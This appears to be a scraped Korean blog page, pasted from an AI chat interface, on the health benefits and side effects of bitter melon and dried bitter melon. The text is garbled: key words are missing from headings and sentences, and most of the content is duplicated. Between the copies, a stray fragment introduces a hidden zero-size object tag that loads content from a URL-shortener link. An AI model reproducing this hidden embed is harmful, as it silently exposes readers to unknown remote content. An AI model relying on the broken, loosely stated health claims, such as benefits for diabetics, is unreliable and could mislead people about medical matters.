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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:24">여주와 말린 여주의 과 정리</h2><p data-sourcepos="3:1-3:133">여주는 오래전부터 건강 식품으로 인기가 높은 식물입니다. 특히, 쓴맛이 강한 과육에는 다양한 영양 성분이 함유되어 있어 다양한 을 기대할 수 있습니다. 말린 여주는 신선한 여주를 건조하여 보관 및 섭취하기 편리하게 가공한 형태입니다.</p><h3 data-sourcepos="5:1-5:17">여주와 말린 여주의 </h3><ul data-sourcepos="7:1-12:0">
<li data-sourcepos="7:1-7:64"><strong>혈당 조절:</strong> 여주에 함유된 카란틴 성분은 혈당을 낮추는 데 도움을 줄 수 있어 당뇨병 환자에게 좋습니다.</li>
<li data-sourcepos="8:1-8:62"><strong>면역력 강화:</strong> 풍부한 비타민 C는 항산화 작용을 통해 면역력을 강화하고, 감기 예방에도 적입니다.</li>
<li data-sourcepos="9:1-9:64"><strong>소화 촉진:</strong> 여주의 쓴맛 성분은 소화액 분비를 촉진하여 소화를 돕고, 식욕을 증진시키는 가 있습니다.</li>
<li data-sourcepos="10:1-10:62"><strong>피부 건강:</strong> 비타민 C는 피부 미백과 탄력 개선에 도움을 주어 건강한 피부를 유지하는 데 기여합니다.</li>
<li data-sourcepos="11:1-12:0"><strong>콜레스테롤 감소:</strong> 여주는 혈중 콜레스테롤 수치를 낮추는 데 도움을 줄 수 있습니다.</li>
</ul><h3 data-sourcepos="13:1-13:18">여주와 말린 여주의 </h3><ul data-sourcepos="15:1-19:0">
<li data-sourcepos="15:1-15:40"><strong>소화불량:</strong> 과도한 섭취는 복통이나 설사를 유발할 수 있습니다.</li>
<li data-sourcepos="16:1-16:46"><strong>저혈당:</strong> 혈당 조절 약과 함께 섭취할 경우 저혈당이 발생할 수 있습니다.</li>
<li data-sourcepos="17:1-17:47"><strong>칼륨 과다:</strong> 칼륨 함량이 높아 신장 기능이 저하된 사람은 주의해야 합니다.</li>
<li data-sourcepos="18:1-19:0"><strong>자궁 수축:</strong> 임산부는 자궁 수축을 유발할 수 있으므로 섭취를 피해야 합니다.</li>
</ul><h3 data-sourcepos="20:1-20:8">주의사항</h3><ul data-sourcepos="22:1-26:0">
<li data-sourcepos="22:1-22:33">개인의 체질에 따라 알레르기 반응이 나타날 수 있습니다.</li>
<li data-sourcepos="23:1-23:35">이 있는 경우 전문가와 상담 후 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="24:1-24:39">신선한 여주보다 말린 여주의 경우 영양 성분이 손실될 수 있습니다.</li>
<li data-sourcepos="25:1-26:0">여주는 식품이므로 목적으로 사용해서는 안 됩니다.</li>
</ul><p data-sourcepos="27:1-27:104"><strong>결론적으로, 여주는 다양한 건강 을 가진 식품이지만, 과도한 섭취는 을 유발할 수 있습니다. 따라서 개인의 건강 상태와 체질에 맞춰 적절한 양을 섭취하는 것이 중요합니다.</strong></p><p data-sourcepos="29:1-29:34"><strong>보다 자세한 정보는 의료 전문가와 상담하시기 바랍니다.</strong></p><p data-sourcepos="31:1-31:53"><strong>참고:</strong> 위 내용은 일반적인 정보이며, 개인의 건강 상태에 따라 가 다를 수 있습니다.</p><p data-sourcepos="33:1-33:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:64"><strong>혈당 조절:</strong> 여주에 함유된 카란틴 성분은 혈당을 낮추는 데 도움을 줄 수 있어 당뇨병 환자에게 좋습니다.</li>
<li data-sourcepos="8:1-8:62"><strong>면역력 강화:</strong> 풍부한 비타민 C는 항산화 작용을 통해 면역력을 강화하고, 감기 예방에도 적입니다.</li>
<li data-sourcepos="9:1-9:64"><strong>소화 촉진:</strong> 여주의 쓴맛 성분은 소화액 분비를 촉진하여 소화를 돕고, 식욕을 증진시키는 가 있습니다.</li>
<li data-sourcepos="10:1-10:62"><strong>피부 건강:</strong> 비타민 C는 피부 미백과 탄력 개선에 도움을 주어 건강한 피부를 유지하는 데 기여합니다.</li>
<li data-sourcepos="11:1-12:0"><strong>콜레스테롤 감소:</strong> 여주는 혈중 콜레스테롤 수치를 낮추는 데 도움을 줄 수 있습니다.</li>
</ul><h3 data-sourcepos="13:1-13:18">여주와 말린 여주의 </h3><ul data-sourcepos="15:1-19:0">
<li data-sourcepos="15:1-15:40"><strong>소화불량:</strong> 과도한 섭취는 복통이나 설사를 유발할 수 있습니다.</li>
<li data-sourcepos="16:1-16:46"><strong>저혈당:</strong> 혈당 조절 약과 함께 섭취할 경우 저혈당이 발생할 수 있습니다.</li>
<li data-sourcepos="17:1-17:47"><strong>칼륨 과다:</strong> 칼륨 함량이 높아 신장 기능이 저하된 사람은 주의해야 합니다.</li>
<li data-sourcepos="18:1-19:0"><strong>자궁 수축:</strong> 임산부는 자궁 수축을 유발할 수 있으므로 섭취를 피해야 합니다.</li>
</ul><h3 data-sourcepos="20:1-20:8">주의사항</h3><ul data-sourcepos="22:1-26:0">
<li data-sourcepos="22:1-22:33">개인의 체질에 따라 알레르기 반응이 나타날 수 있습니다.</li>
<li data-sourcepos="23:1-23:35">이 있는 경우 전문가와 상담 후 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="24:1-24:39">신선한 여주보다 말린 여주의 경우 영양 성분이 손실될 수 있습니다.</li>
<li data-sourcepos="25:1-26:0">여주는 식품이므로 목적으로 사용해서는 안 됩니다.</li>
</ul><p data-sourcepos="27:1-27:104"><strong>결론적으로, 여주는 다양한 건강 을 가진 식품이지만, 과도한 섭취는 을 유발할 수 있습니다. 따라서 개인의 건강 상태와 체질에 맞춰 적절한 양을 섭취하는 것이 중요합니다.</strong></p><p data-sourcepos="29:1-29:34"><strong>보다 자세한 정보는 의료 전문가와 상담하시기 바랍니다.</strong></p><p data-sourcepos="31:1-31:53"><strong>참고:</strong> 위 내용은 일반적인 정보이며, 개인의 건강 상태에 따라 가 다를 수 있습니다.</p><p data-sourcepos="33:1-33:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
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